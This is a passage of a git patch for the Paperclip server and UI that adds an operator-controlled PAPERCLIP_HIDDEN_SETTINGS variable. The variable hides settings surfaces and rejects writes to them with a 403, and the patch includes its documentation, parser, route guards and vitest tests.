ui/src/components/InstanceSidebar.test.tsx delete mode 100644 ui/src/components/InstanceSidebar.tsx create mode 100644 ui/src/hooks/useHiddenSettings.ts diff --git a/docs/deploy/environment-variables.md b/docs/deploy/environment-variables.md index b46dd64b1be..df5b2008f15 100644 --- a/docs/deploy/environment-variables.md +++ b/docs/deploy/environment-variables.md @@ -19,6 +19,33 @@ All environment variables that Paperclip uses for server configuration. | `PAPERCLIP_DEPLOYMENT_MODE` | `local_trusted` | Runtime mode override | | `PAPERCLIP_DEPLOYMENT_EXPOSURE` | `private` | Exposure policy when deployment mode is `authenticated` | | `PAPERCLIP_API_URL` | (auto-derived) | Paperclip API base URL. When set externally (e.g., via Kubernetes ConfigMap, load balancer, or reverse proxy), the server preserves the value instead of deriving it from the listen host and port. Useful for deployments where the public-facing URL differs from the local bind address. | +| `PAPERCLIP_HIDDEN_SETTINGS` | (unset) | Comma-separated settings surfaces to hide from the UI and floor at the API, for operators hosting Paperclip for others (managed cloud, internal shared server). See [Hiding settings surfaces](#hiding-settings-surfaces). | + +### Hiding settings surfaces + +`PAPERCLIP_HIDDEN_SETTINGS` takes keys from the registry in +`packages/shared/src/settings-visibility.ts`: + +- Any instance settings page: `instance.profile`, `instance.environments`, + `instance.access`, `instance.heartbeats`, `instance.experimental`, + `instance.plugins`, `instance.adapters` — removed from navigation and + routing (the General page is the settings root and stays visible). Hiding + `instance.access`, `instance.plugins`, or `instance.adapters` also floors + their management endpoints with `403 settings_operator_managed`; hiding + `instance.experimental` floors every experimental toggle write. +- Any Instance → General section: `instance.general.censorUsernameInLogs`, + `instance.general.keyboardShortcuts`, `instance.general.backupRetention`, + `instance.general.feedbackDataSharingPreference` (each also rejects + value-changing writes via `PATCH /api/instance/settings/general`), plus the + UI-only `instance.general.deploymentStatus` and `instance.general.signOut`. +- Any experimental toggle: `instance.experimental.` (e.g. + `instance.experimental.enableSmokeLab`) — the card disappears and + value-changing writes are rejected. + +Unknown keys are logged and ignored, so one list can be rolled across a fleet +of mixed app versions. With the variable unset nothing is hidden and behavior +is identical to earlier releases. Hiding a toggle does not change its value; +pair hiding with the desired default where it matters. ## Secrets diff --git a/packages/shared/src/index.ts b/packages/shared/src/index.ts index 7c244e5b887..dd55ba4d91d 100644 --- a/packages/shared/src/index.ts +++ b/packages/shared/src/index.ts @@ -2485,6 +2485,23 @@ export { type FeatureTier, type InstanceFeatureKey, } from "./feature-catalog.js"; +export { + HIDEABLE_GENERAL_SECTIONS, + HIDEABLE_INSTANCE_PAGES, + HIDEABLE_SETTING_KEYS, + SETTINGS_OPERATOR_MANAGED_ERROR_CODE, + UI_ONLY_GENERAL_SECTIONS, + experimentalSettingKey, + hidesExperimentalSetting, + hidesGeneralSection, + hidesInstancePage, + parseHiddenSettingsList, + type HideableExperimentalSetting, + type HideableGeneralSection, + type HideableInstancePage, + type HideableSettingKey, + type ParsedHiddenSettings, +} from "./settings-visibility.js"; // --- Runtime exposure (opt-in Tailscale HTTPS for managed branch runtimes) --- // PAP-17049 plan, PAP-17050 threat-model verdict. Contract shared across DB, diff --git a/packages/shared/src/settings-visibility.test.ts b/packages/shared/src/settings-visibility.test.ts new file mode 100644 index 00000000000..8bdba67d9e7 --- /dev/null +++ b/packages/shared/src/settings-visibility.test.ts @@ -0,0 +1,73 @@ +import { describe, expect, it } from "vitest"; +import { INSTANCE_FEATURE_KEYS } from "./feature-catalog.js"; +import { + HIDEABLE_GENERAL_SECTIONS, + HIDEABLE_SETTING_KEYS, + UI_ONLY_GENERAL_SECTIONS, + experimentalSettingKey, + hidesExperimentalSetting, + hidesGeneralSection, + hidesInstancePage, + parseHiddenSettingsList, +} from "./settings-visibility.js"; +import { instanceGeneralSettingsSchema } from "./validators/instance.js"; + +describe("hideable setting keys", () => { + it("derives one key per experimental flag and has no duplicates", () => { + const experimental = HIDEABLE_SETTING_KEYS.filter( + (key) => key.startsWith("instance.experimental."), + ); + expect(experimental).toEqual(INSTANCE_FEATURE_KEYS.map(experimentalSettingKey)); + expect(new Set(HIDEABLE_SETTING_KEYS).size).toBe(HIDEABLE_SETTING_KEYS.length); + }); + + it("maps field-backed general sections onto real general-settings fields", () => { + const generalFields = Object.keys(instanceGeneralSettingsSchema.shape); + const uiOnly = new Set(UI_ONLY_GENERAL_SECTIONS); + for (const section of HIDEABLE_GENERAL_SECTIONS) { + if (uiOnly.has(section)) continue; + expect(generalFields).toContain(section.slice("instance.general.".length)); + } + }); +}); + +describe("parseHiddenSettingsList", () => { + it("returns nothing hidden for undefined or empty input", () => { + expect(parseHiddenSettingsList(undefined)).toEqual({ hidden: [], unknown: [] }); + expect(parseHiddenSettingsList(" , ,")).toEqual({ hidden: [], unknown: [] }); + }); + + it("splits known from unknown keys, trims, and deduplicates", () => { + const parsed = parseHiddenSettingsList( + "instance.plugins, instance.general.backupRetention ,instance.bogus,instance.plugins,instance.experimental.enableEnvironments", + ); + expect(parsed.hidden).toEqual([ + "instance.plugins", + "instance.general.backupRetention", + "instance.experimental.enableEnvironments", + ]); + expect(parsed.unknown).toEqual(["instance.bogus"]); + }); +}); + +describe("membership helpers", () => { + const hidden = new Set( + parseHiddenSettingsList( + "instance.plugins,instance.general.censorUsernameInLogs,instance.experimental.enableEnvironments", + ).hidden, + ); + + it("answers page, section, and experimental membership", () => { + expect(hidesInstancePage(hidden, "instance.plugins")).toBe(true); + expect(hidesInstancePage(hidden, "instance.adapters")).toBe(false); + expect(hidesGeneralSection(hidden, "instance.general.censorUsernameInLogs")).toBe(true); + expect(hidesGeneralSection(hidden, "instance.general.backupRetention")).toBe(false); + expect(hidesExperimentalSetting(hidden, "enableEnvironments")).toBe(true); + expect(hidesExperimentalSetting(hidden, "enableIsolatedWorkspaces")).toBe(false); + }); + + it("treats a hidden Experimental page as hiding every toggle", () => { + const pageHidden = new Set(parseHiddenSettingsList("instance.experimental").hidden); + expect(hidesExperimentalSetting(pageHidden, "enableEnvironments")).toBe(true); + }); +}); diff --git a/packages/shared/src/settings-visibility.ts b/packages/shared/src/settings-visibility.ts new file mode 100644 index 00000000000..2dd9fe7e5b3 --- /dev/null +++ b/packages/shared/src/settings-visibility.ts @@ -0,0 +1,136 @@ +import { INSTANCE_FEATURE_KEYS, type InstanceFeatureKey } from "./feature-catalog.js"; + +/** + * Operator-configurable settings visibility. + * + * A hosting operator (a managed cloud, an internal shared server) can hide + * instance-settings surfaces that do not apply to their deployment by setting + * the `PAPERCLIP_HIDDEN_SETTINGS` environment variable to a comma-separated + * list of keys from this registry. Hiding a surface removes it from the UI + * (nav, routes, page sections). Surfaces backed by instance-level mutation + * routes are also floored with a 403 carrying + * `SETTINGS_OPERATOR_MANAGED_ERROR_CODE`: the Access, Plugins, and Adapters + * pages, every field-backed General section, and every experimental toggle + * (individually or via the whole Experimental page). + * + * Nothing is hidden by default: with the variable unset, UI and API behave + * exactly as before this mechanism existed. + * + * Unknown keys are ignored (with a server-side warning) rather than rejected, + * so an operator may roll one list across a fleet of mixed app versions: an + * image that predates a key simply keeps that surface visible instead of + * refusing to boot. + */ + +/** + * Instance settings pages that can be hidden (nav entry + route). The General + * page is deliberately not hideable: it is the settings root and the redirect + * target for hidden pages. Individual General sections are hideable below. + */ +export const HIDEABLE_INSTANCE_PAGES = [ + "instance.profile", + "instance.environments", + "instance.access", + "instance.heartbeats", + "instance.experimental", + "instance.plugins", + "instance.adapters", +] as const; + +export type HideableInstancePage = (typeof HIDEABLE_INSTANCE_PAGES)[number]; + +/** + * Sections of Instance → General that can be hidden. Field-backed sections + * (their suffix names a general-settings field) also floor writes to that + * field; `deploymentStatus` and `signOut` are read-only UI with no field. + */ +export const HIDEABLE_GENERAL_SECTIONS = [ + "instance.general.deploymentStatus", + "instance.general.censorUsernameInLogs", + "instance.general.keyboardShortcuts", + "instance.general.backupRetention", + "instance.general.feedbackDataSharingPreference", + "instance.general.signOut", +] as const; + +export type HideableGeneralSection = (typeof HIDEABLE_GENERAL_SECTIONS)[number]; + +/** General sections that are informational UI only, with no settings field. */ +export const UI_ONLY_GENERAL_SECTIONS = [ + "instance.general.deploymentStatus", + "instance.general.signOut", +] as const satisfies readonly HideableGeneralSection[]; + +export type HideableExperimentalSetting = `instance.experimental.${InstanceFeatureKey}`; + +/** The visibility key for an experimental toggle; every boolean flag is hideable. */ +export function experimentalSettingKey(key: InstanceFeatureKey): HideableExperimentalSetting { + return `instance.experimental.${key}`; +} + +export type HideableSettingKey = + | HideableInstancePage + | HideableGeneralSection + | HideableExperimentalSetting; + +/** Every key `PAPERCLIP_HIDDEN_SETTINGS` accepts. */ +export const HIDEABLE_SETTING_KEYS: readonly HideableSettingKey[] = [ + ...HIDEABLE_INSTANCE_PAGES, + ...HIDEABLE_GENERAL_SECTIONS, + ...INSTANCE_FEATURE_KEYS.map(experimentalSettingKey), +]; + +/** Stable 403 code for writes to operator-hidden settings. */ +export const SETTINGS_OPERATOR_MANAGED_ERROR_CODE = "settings_operator_managed"; + +export interface ParsedHiddenSettings { + /** Recognized keys, deduplicated, in input order. */ + hidden: HideableSettingKey[]; + /** Unrecognized entries, for the caller to warn about. */ + unknown: string[]; +} + +/** Parse a `PAPERCLIP_HIDDEN_SETTINGS`-style comma-separated list. */ +export function parseHiddenSettingsList(raw: string | undefined): ParsedHiddenSettings { + const hidden: HideableSettingKey[] = []; + const unknown: string[] = []; + if (!raw) return { hidden, unknown }; + const known = new Set(HIDEABLE_SETTING_KEYS); + const seen = new Set(); + for (const part of raw.split(",")) { + const key = part.trim(); + if (!key || seen.has(key)) continue; + seen.add(key); + if (known.has(key)) { + hidden.push(key as HideableSettingKey); + } else { + unknown.push(key); + } + } + return { hidden, unknown }; +} + +export function hidesInstancePage( + hidden: ReadonlySet, + page: HideableInstancePage, +): boolean { + return hidden.has(page); +} + +export function hidesGeneralSection( + hidden: ReadonlySet, + section: HideableGeneralSection, +): boolean { + return hidden.has(section); +} + +/** + * Whether a toggle is hidden, either individually or because the whole + * Experimental page is hidden. + */ +export function hidesExperimentalSetting( + hidden: ReadonlySet, + key: InstanceFeatureKey, +): boolean { + return hidden.has("instance.experimental") || hidden.has(experimentalSettingKey(key)); +} diff --git a/server/src/__tests__/access-routes-hidden-floor.test.ts b/server/src/__tests__/access-routes-hidden-floor.test.ts new file mode 100644 index 00000000000..992e32871a4 --- /dev/null +++ b/server/src/__tests__/access-routes-hidden-floor.test.ts @@ -0,0 +1,95 @@ +import express from "express"; +import request from "supertest"; +import { afterEach, beforeAll, describe, expect, it } from "vitest"; + +/** + * Operator-hidden Access surface floor (`instance.access` in + * PAPERCLIP_HIDDEN_SETTINGS): instance-admin user management routes reject + * with a stable code while the rest of the access router stays untouched. + * The floor throws before any data access, so a stub db suffices; the + * unfloored happy paths are covered by the embedded-postgres access tests. + */ + +const stubDb = { + select: () => ({ + from: () => { + const chain = { + orderBy: async () => [] as unknown[], + where: async () => [] as unknown[], + }; + return chain; + }, + }), +} as never; + +async function createApp() { + const [{ accessRoutes }, { errorHandler }] = await Promise.all([ + import("../routes/access.js"), + import("../middleware/index.js"), + ]); + const app = express(); + app.use(express.json()); + app.use((req, _res, next) => { + req.actor = { + type: "board", + userId: "instance-admin-1", + source: "local_implicit", + companyIds: ["company-1"], + memberships: [{ companyId: "company-1", membershipRole: "owner", status: "active" }], + isInstanceAdmin: true, + } as Express.Request["actor"]; + next(); + }); + app.use("/api", accessRoutes(stubDb, { + deploymentMode: "authenticated", + deploymentExposure: "private", + bindHost: "127.0.0.1", + allowedHostnames: [], + })); + app.use(errorHandler); + return app; +} + +describe("operator-hidden access admin floor", () => { + let app: express.Express; + + // The access router is a large module; import and build the app once so the + // cost is not charged to the first test's timeout on slow CI runners. + beforeAll(async () => { + app = await createApp(); + }, 30_000); + + afterEach(() => { + delete process.env.PAPERCLIP_HIDDEN_SETTINGS; + }); + + const attempts: Array<[string, () => request.Test]> = [ + ["promote", () => request(app).post("/api/admin/users/user-1/promote-instance-admin")], + ["demote", () => request(app).post("/api/admin/users/user-1/demote-instance-admin")], + [ + "company access write", + () => request(app).put("/api/admin/users/user-1/company-access").send({ companyIds: [] }), + ], + ["user listing", () => request(app).get("/api/admin/users")], + ["company access read", () => request(app).get("/api/admin/users/user-1/company-access")], + ]; + + it.each(attempts)( + "floors the %s route when the operator hides the surface", + async (_name, buildRequest) => { + process.env.PAPERCLIP_HIDDEN_SETTINGS = "instance.access"; + + const res = await buildRequest(); + + expect(res.status, JSON.stringify(res.body)).toBe(403); + expect(res.body.details).toMatchObject({ code: "settings_operator_managed" }); + }, + ); + + it("keeps the routes reachable when the surface is not hidden", async () => { + const res = await request(app).get("/api/admin/users"); + + expect(res.status, JSON.stringify(res.body)).toBe(200); + expect(res.body).toEqual([]); + }); +}); diff --git a/server/src/__tests__/adapter-routes-authz.test.ts b/server/src/__tests__/adapter-routes-authz.test.ts index 850ba2128d3..3596d8d38e0 100644 --- a/server/src/__tests__/adapter-routes-authz.test.ts +++ b/server/src/__tests__/adapter-routes-authz.test.ts @@ -367,4 +367,41 @@ describe.sequential("adapter management route authorization", () => { }, ); }); + + describe("operator-hidden adapter management floor", () => { + beforeEach(() => { + process.env.PAPERCLIP_HIDDEN_SETTINGS = "instance.adapters"; + }); + afterEach(() => { + delete process.env.PAPERCLIP_HIDDEN_SETTINGS; + }); + + it.each(["install", "disable", "override", "delete", "reload", "reinstall"] as const)( + "floors adapter %s for instance admins when the operator hides the Adapters surface", + async (routeName) => { + resetInstalledExternalAdapterState(); + if (routeName !== "install") { + seedInstalledExternalAdapter(); + } + const app = createApp(instanceAdmin); + + const res = await sendMutatingRequest(app, routeName); + + expect(res.status, `${routeName}: ${JSON.stringify(res.body)}`).toBe(403); + expect(res.body.details).toMatchObject({ code: "settings_operator_managed" }); + expect(mocks.execFile).not.toHaveBeenCalled(); + expect(mocks.loadExternalAdapterPackage).not.toHaveBeenCalled(); + expect(mocks.reloadExternalAdapter).not.toHaveBeenCalled(); + }, + ); + + it("keeps adapter reads open while the surface is hidden", async () => { + seedInstalledExternalAdapter(); + const app = createApp(boardMember("admin")); + + const res = await requestApp(app, (baseUrl) => request(baseUrl).get("/api/adapters")); + + expect(res.status, JSON.stringify(res.body)).toBe(200); + }); + }); }); diff --git a/server/src/__tests__/health.test.ts b/server/src/__tests__/health.test.ts index a3551f568b9..2e5faaa77cd 100644 --- a/server/src/__tests__/health.test.ts +++ b/server/src/__tests__/health.test.ts @@ -116,6 +116,26 @@ describe("GET /health", () => { }); }); + it("lists operator-hidden settings and drops unknown keys", async () => { + const app = createApp(undefined, testServerInfo, undefined, { + PAPERCLIP_HIDDEN_SETTINGS: "instance.plugins,instance.adapters,instance.bogus", + }); + + const res = await request(app).get("/health"); + + expect(res.status).toBe(200); + expect(res.body.hiddenSettings).toEqual(["instance.plugins", "instance.adapters"]); + }); + + it("omits hiddenSettings entirely when nothing is hidden", async () => { + const app = createApp(undefined, testServerInfo, undefined, {}); + + const res = await request(app).get("/health"); + + expect(res.status).toBe(200); + expect(Object.prototype.hasOwnProperty.call(res.body, "hiddenSettings")).toBe(false); + }); + it("returns 200 when the database probe succeeds", async () => { const db = { execute: vi.fn().mockResolvedValue([{ "?column?": 1 }]), diff --git a/server/src/__tests__/instance-settings-routes.test.ts b/server/src/__tests__/instance-settings-routes.test.ts index a139765f950..a201627c237 100644 --- a/server/src/__tests__/instance-settings-routes.test.ts +++ b/server/src/__tests__/instance-settings-routes.test.ts @@ -805,4 +805,123 @@ describe("instance settings routes", () => { expect(mockInstanceSettingsService.updateGeneral).toHaveBeenCalledWith({ executionMode: "kubernetes" }); }); }); + + describe("operator-hidden settings floor", () => { + const adminActor = { + type: "board", + userId: "admin-1", + source: "session", + isInstanceAdmin: true, + companyIds: ["company-1"], + }; + + afterEach(() => { + delete process.env.PAPERCLIP_HIDDEN_SETTINGS; + }); + + it("rejects a write that changes a hidden general field", async () => { + process.env.PAPERCLIP_HIDDEN_SETTINGS = "instance.general.censorUsernameInLogs"; + const app = await createApp(adminActor); + + const res = await request(app) + .patch("/api/instance/settings/general") + .send({ censorUsernameInLogs: true }); + + expect(res.status).toBe(403); + expect(res.body.details).toMatchObject({ code: "settings_operator_managed" }); + expect(mockInstanceSettingsService.updateGeneral).not.toHaveBeenCalled(); + }); + + it("allows a same-value echo of a hidden general field", async () => { + process.env.PAPERCLIP_HIDDEN_SETTINGS = "instance.general.censorUsernameInLogs"; + const app = await createApp(adminActor); + + const res = await request(app) + .patch("/api/instance/settings/general") + .send({ censorUsernameInLogs: false, keyboardShortcuts: true }); + + expect(res.status).toBe(200); + expect(mockInstanceSettingsService.updateGeneral).toHaveBeenCalledWith({ + censorUsernameInLogs: false, + keyboardShortcuts: true, + }); + }); + + it("deep-compares hidden backupRetention echoes instead of rejecting them", async () => { + process.env.PAPERCLIP_HIDDEN_SETTINGS = "instance.general.backupRetention"; + mockInstanceSettingsService.getGeneral.mockResolvedValue({ + censorUsernameInLogs: false, + keyboardShortcuts: false, + feedbackDataSharingPreference: "prompt", + backupRetention: { dailyDays: 7, weeklyWeeks: 4, monthlyMonths: 1 }, + }); + const app = await createApp(adminActor); + + const echo = await request(app) + .patch("/api/instance/settings/general") + .send({ backupRetention: { dailyDays: 7, weeklyWeeks: 4, monthlyMonths: 1 } }); + expect(echo.status).toBe(200); + + const change = await request(app) + .patch("/api/instance/settings/general") + .send({ backupRetention: { dailyDays: 14, weeklyWeeks: 4, monthlyMonths: 1 } }); + expect(change.status).toBe(403); + expect(change.body.details).toMatchObject({ code: "settings_operator_managed" }); + }); + + it("rejects a write that changes a hidden experimental toggle", async () => { + process.env.PAPERCLIP_HIDDEN_SETTINGS = "instance.experimental.enableEnvironments"; + const app = await createApp(adminActor); + + const res = await request(app) + .patch("/api/instance/settings/experimental") + .send({ enableEnvironments: true }); + + expect(res.status).toBe(403); + expect(res.body.details).toMatchObject({ code: "settings_operator_managed" }); + expect(mockInstanceSettingsService.updateExperimental).not.toHaveBeenCalled(); + }); + + it("allows writes to non-hidden experimental toggles while others are hidden", async () => { + process.env.PAPERCLIP_HIDDEN_SETTINGS = + "instance.experimental.enableEnvironments,instance.experimental.enableServerInfoDebugView"; + const app = await createApp(adminActor); + + const res = await request(app) + .patch("/api/instance/settings/experimental") + .send({ enableIsolatedWorkspaces: true }); + + expect(res.status).toBe(200); + expect(mockInstanceSettingsService.updateExperimental).toHaveBeenCalledWith({ + enableIsolatedWorkspaces: true, + }); + }); + + it("floors every experimental toggle when the whole Experimental page is hidden", async () => { + process.env.PAPERCLIP_HIDDEN_SETTINGS = "instance.experimental"; + const app = await createApp(adminActor); + + const res = await request(app) + .patch("/api/instance/settings/experimental") + .send({ enableIsolatedWorkspaces: true }); + + expect(res.status).toBe(403); + expect(res.body.details).toMatchObject({ code: "settings_operator_managed" }); + expect(mockInstanceSettingsService.updateExperimental).not.toHaveBeenCalled(); + }); + + it("keeps every field writable when the env var is unset", async () => { + const app = await createApp(adminActor); + + const general = await request(app) + .patch("/api/instance/settings/general") + .send({ censorUsernameInLogs: true }); + expect(general.status).toBe(200); + + const experimental = await request(app) + .patch("/api/instance/settings/experimental") + .send({ enableEnvironments: true }); + expect(experimental.status).toBe(200); + }); + }); }); diff --git a/server/src/__tests__/plugin-routes-authz.test.ts b/server/src/__tests__/plugin-routes-authz.test.ts index c7a0844b519..3bded76b2e2 100644 --- a/server/src/__tests__/plugin-routes-authz.test.ts +++ b/server/src/__tests__/plugin-routes-authz.test.ts @@ -1,6 +1,6 @@ import express from "express"; import request from "supertest"; -import { beforeEach, describe, expect, it, vi } from "vitest"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; const mockRegistry = vi.hoisted(() => ({ getById: vi.fn(), @@ -1103,3 +1103,55 @@ describe.sequential("plugin tool and bridge authz", () => { expect(executeTool).not.toHaveBeenCalled(); }); }); + +describe.sequential("operator-hidden plugin management floor", () => { + beforeEach(() => { + vi.clearAllMocks(); + process.env.PAPERCLIP_HIDDEN_SETTINGS = "instance.plugins"; + }); + afterEach(() => { + delete process.env.PAPERCLIP_HIDDEN_SETTINGS; + }); + + const instanceAdmin = () => boardActor({ isInstanceAdmin: true, userId: "instance-admin" }); + + it("floors plugin lifecycle and config writes for instance admins", async () => { + const { app, loader } = await createApp(instanceAdmin()); + readyPlugin(); + + const attempts: Array<[string, request.Test]> = [ + ["install", request(app).post("/api/plugins/install").send({ packageName: "@paperclipai/plugin-modal" })], + ["uninstall", request(app).delete(`/api/plugins/${pluginId}`)], + ["enable", request(app).post(`/api/plugins/${pluginId}/enable`)], + ["disable", request(app).post(`/api/plugins/${pluginId}/disable`).send({})], + ["upgrade", request(app).post(`/api/plugins/${pluginId}/upgrade`).send({})], + ["config", request(app).post(`/api/plugins/${pluginId}/config`).send({ config: {} })], + ["config test", request(app).post(`/api/plugins/${pluginId}/config/test`).send({ config: {} })], + [ + "local folder", + request(app) + .put(`/api/plugins/${pluginId}/companies/${companyA}/local-folders/data`) + .send({ path: "/tmp/folder" }), + ], + ]; + for (const [name, attempt] of attempts) { + const res = await attempt; + expect(res.status, `${name}: ${JSON.stringify(res.body)}`).toBe(403); + expect(res.body.details, name).toMatchObject({ code: "settings_operator_managed" }); + } + expect(loader.installPlugin).not.toHaveBeenCalled(); + expect(mockLifecycle.enable).not.toHaveBeenCalled(); + expect(mockLifecycle.disable).not.toHaveBeenCalled(); + expect(mockLifecycle.upgrade).not.toHaveBeenCalled(); + expect(mockLifecycle.unload).not.toHaveBeenCalled(); + expect(mockRegistry.upsertConfig).not.toHaveBeenCalled(); + }); + + it("keeps plugin reads open while the surface is hidden", async () => { + const { app } = await createApp(boardActor()); + + const res = await request(app).get("/api/plugins/examples"); + + expect(res.status, JSON.stringify(res.body)).toBe(200); + }, 20_000); +}); diff --git a/server/src/routes/access.ts b/server/src/routes/access.ts index 2ec129bce57..a1b166e7185 100644 --- a/server/src/routes/access.ts +++ b/server/src/routes/access.ts @@ -56,6 +56,22 @@ import { badRequest, tooManyRequests } from "../errors.js"; +import { getHiddenSettings } from "../services/settings-visibility.js"; + +/** + * Floor: when the hosting operator hides the Instance Access surface + * (`instance.access` in PAPERCLIP_HIDDEN_SETTINGS), instance-admin user + * management is rejected alongside it — user administration then belongs to + * the operator's own control plane. Applies to the Access page's reads too; + * invite and company-membership routes are company-scoped and stay open. + */ +function assertAccessAdminVisible() { + if (getHiddenSettings().has("instance.access")) { + throw forbidden("Instance user administration is managed by the hosting operator on this instance", { + code: "settings_operator_managed", + }); + } +} import { createInviteRateLimiter, type InviteRateLimiter, @@ -4774,6 +4790,7 @@ export function accessRoutes( "/admin/users/:userId/promote-instance-admin", async (req, res) => { await assertInstanceAdmin(req); + assertAccessAdminVisible(); const userId = req.params.userId as string; const result = await access.promoteInstanceAdmin(userId); res.status(201).json(result); @@ -4782,6 +4799,7 @@ export function accessRoutes( router.get("/admin/users", async (req, res) => { await assertInstanceAdmin(req); + assertAccessAdminVisible(); const query = searchAdminUsersQuerySchema.parse(req.query); const needle = query.query.trim().toLowerCase(); const users = await db @@ -4844,6 +4862,7 @@ export function accessRoutes( "/admin/users/:userId/demote-instance-admin", async (req, res) => { await assertInstanceAdmin(req); + assertAccessAdminVisible(); const userId = req.params.userId as string; const removed = await access.demoteInstanceAdmin(userId); if (!removed) throw notFound("Instance admin role not found"); @@ -4853,6 +4872,7 @@ export function accessRoutes( router.get("/admin/users/:userId/company-access", async (req, res) => { await assertInstanceAdmin(req); + assertAccessAdminVisible(); const userId = req.params.userId as string; res.json(await loadUserCompanyAccessResponse(db, access, userId)); }); @@ -4862,6 +4882,7 @@ export function accessRoutes( validate(updateUserCompanyAccessSchema), async (req, res) => { await assertInstanceAdmin(req); + assertAccessAdminVisible(); const userId = req.params.userId as string; await access.setUserCompanyAccess( userId, diff --git a/server/src/routes/adapters.ts b/server/src/routes/adapters.ts index 0fea057e552..6341ab89cf3 100644 --- a/server/src/routes/adapters.ts +++ b/server/src/routes/adapters.ts @@ -50,6 +50,7 @@ import { loadExternalAdapterPackage, getUiParserSource, getOrExtractUiParserSour import { logger } from "../middleware/logger.js"; import { forbidden } from "../errors.js"; import { isCloudManagedInstance } from "../services/cloud-instance.js"; +import { getHiddenSettings } from "../services/settings-visibility.js"; import { assertBoardOrgAccess, assertInstanceAdmin } from "./authz.js"; import { BUILTIN_ADAPTER_TYPES } from "../adapters/builtin-adapter-types.js"; @@ -71,6 +72,20 @@ function assertAdapterCodeInstallAllowed() { } } +/** + * Floor: when the hosting operator hides the Adapters settings surface + * (`instance.adapters` in PAPERCLIP_HIDDEN_SETTINGS), adapter management + * writes are rejected alongside it. Reads stay open — adapter metadata is + * consumed by agent-creation UIs outside the hidden page. + */ +function assertAdapterManagementVisible() { + if (getHiddenSettings().has("instance.adapters")) { + throw forbidden("Adapter management is managed by the hosting operator on this instance", { + code: "settings_operator_managed", + }); + } +} + // --------------------------------------------------------------------------- // Request / Response types // --------------------------------------------------------------------------- @@ -288,6 +303,7 @@ export function adapterRoutes() { router.post("/adapters/install", async (req, res) => { assertInstanceAdmin(req); assertAdapterCodeInstallAllowed(); + assertAdapterManagementVisible(); const { packageName, isLocalPath = false, version } = req.body as AdapterInstallRequest; @@ -435,6 +451,8 @@ export function adapterRoutes() { router.patch("/adapters/:type", async (req, res) => { assertInstanceAdmin(req); + assertAdapterManagementVisible(); + const adapterType = req.params.type; const { disabled } = req.body as { disabled?: boolean }; @@ -470,6 +488,8 @@ export function adapterRoutes() { router.patch("/adapters/:type/override", async (req, res) => { assertInstanceAdmin(req); + assertAdapterManagementVisible(); + const adapterType = req.params.type; const { paused } = req.body as { paused?: boolean }; @@ -497,6 +517,7 @@ export function adapterRoutes() { */ router.delete("/adapters/:type", async (req, res) => { assertInstanceAdmin(req); + assertAdapterManagementVisible(); const adapterType = req.params.type; @@ -573,6 +594,7 @@ export function adapterRoutes() { */ router.post("/adapters/:type/reload", async (req, res) => { assertInstanceAdmin(req); + assertAdapterManagementVisible(); const type = req.params.type; @@ -626,6 +648,7 @@ export function adapterRoutes() { router.post("/adapters/:type/reinstall", async (req, res) => { assertInstanceAdmin(req); assertAdapterCodeInstallAllowed(); + assertAdapterManagementVisible(); const type = req.params.type; diff --git a/server/src/routes/health.ts b/server/src/routes/health.ts index e46952ecc89..6cc8a4a4b56 100644 --- a/server/src/routes/health.ts +++ b/server/src/routes/health.ts @@ -12,6 +12,7 @@ import { isCloudManagedInstance, type CloudInstanceEnv, } from "../services/cloud-instance.js"; +import { getHiddenSettings } from "../services/settings-visibility.js"; import { inspectDatabaseBackupHealth, type DatabaseBackupHealthStatus, @@ -157,6 +158,11 @@ export function healthRoutes( ); const runtimeEnv = opts.runtimeEnv ?? process.env; const cloud = getCloudHealthStatus(runtimeEnv); + // Operator-hidden settings ride every response (like `cloud`): the list + // holds UI surface names only, and the settings nav needs it before any + // fuller-detail fetch. Omitted entirely when nothing is hidden, so + // deployments without the env var keep today's byte-identical responses. + const hiddenSettings = [...getHiddenSettings(runtimeEnv)]; // serverInfo (git SHA + process start) rides on the full-details responses // only, so it reaches board/agent actors in authenticated mode or any caller // in local_trusted dev — never anonymous authenticated callers. The @@ -192,12 +198,14 @@ export function healthRoutes( commit, serverInfo, ...(cloud ? { cloud } : {}), + ...(hiddenSettings.length ? { hiddenSettings } : {}), } : { status: "ok", deploymentMode: opts.deploymentMode, commit, ...(cloud ? { cloud } : {}), + ...(hiddenSettings.length ? { hiddenSettings } : {}), }, ); return; @@ -307,6 +315,7 @@ export function healthRoutes( // this instance becomes visible. ...(workspaceReadiness ? { workspace: workspaceReadiness } : {}), ...(cloud ? { cloud } : {}), + ...(hiddenSettings.length ? { hiddenSettings } : {}), }); return; } @@ -330,6 +339,7 @@ export function healthRoutes( ...(devServer ? { devServer } : {}), ...(workspaceReadiness ? { workspace: workspaceReadiness } : {}), ...(cloud ? { cloud } : {}), + ...(hiddenSettings.length ? { hiddenSettings } : {}), }); }); diff --git a/server/src/routes/instance-settings.ts b/server/src/routes/instance-settings.ts index b7160042a53..181ced8bf8c 100644 --- a/server/src/routes/instance-settings.ts +++ b/server/src/routes/instance-settings.ts @@ -8,12 +8,52 @@ import { } from "@paperclipai/shared"; import { forbidden } from "../errors.js"; import { isCloudManagedInstance } from "../services/cloud-instance.js"; +import { getHiddenSettings } from "../services/settings-visibility.js"; import { validate } from "../middleware/validate.js"; import { heartbeatService, instanceSettingsService, logActivity } from "../services/index.js"; import { environmentService } from "../services/environments.js"; import { assertEnvironmentSelectionForCompany } from "./environment-selection.js"; import { assertBoardOrgAccess, getActorInfo } from "./authz.js"; +function sameJsonValue(a: unknown, b: unknown): boolean { + if (a === b) return true; + if (typeof a !== "object" || typeof b !== "object" || a === null || b === null) return false; + if (Array.isArray(a) || Array.isArray(b)) { + return ( + Array.isArray(a) + && Array.isArray(b) + && a.length === b.length + && a.every((value, i) => sameJsonValue(value, b[i])) + ); + } + const aKeys = Object.keys(a); + const bKeys = new Set(Object.keys(b)); + return aKeys.length === bKeys.size && aKeys.every((key) => + bKeys.has(key) && sameJsonValue((a as Record)[key], (b as Record)[key]), + ); +} + +/** + * Floor writes to operator-hidden settings. Same-value writes pass so clients + * that echo a full GET response keep working (the executionMode precedent); + * only a write that would actually change a hidden setting is rejected. + */ +async function assertNoHiddenSettingChanges( + body: Record, + getCurrent: () => Promise, + isHiddenField: (field: string) => boolean, +) { + const hiddenKeys = Object.keys(body).filter(isHiddenField); + if (hiddenKeys.length === 0) return; + const current = (await getCurrent()) as Record; + for (const key of hiddenKeys) { + if (sameJsonValue(body[key], current[key])) continue; + throw forbidden(`${key} is managed by the hosting operator on this instance`, { + code: "settings_operator_managed", + }); + } +} + function assertCanManageInstanceSettings(req: Request) { if (req.actor.type !== 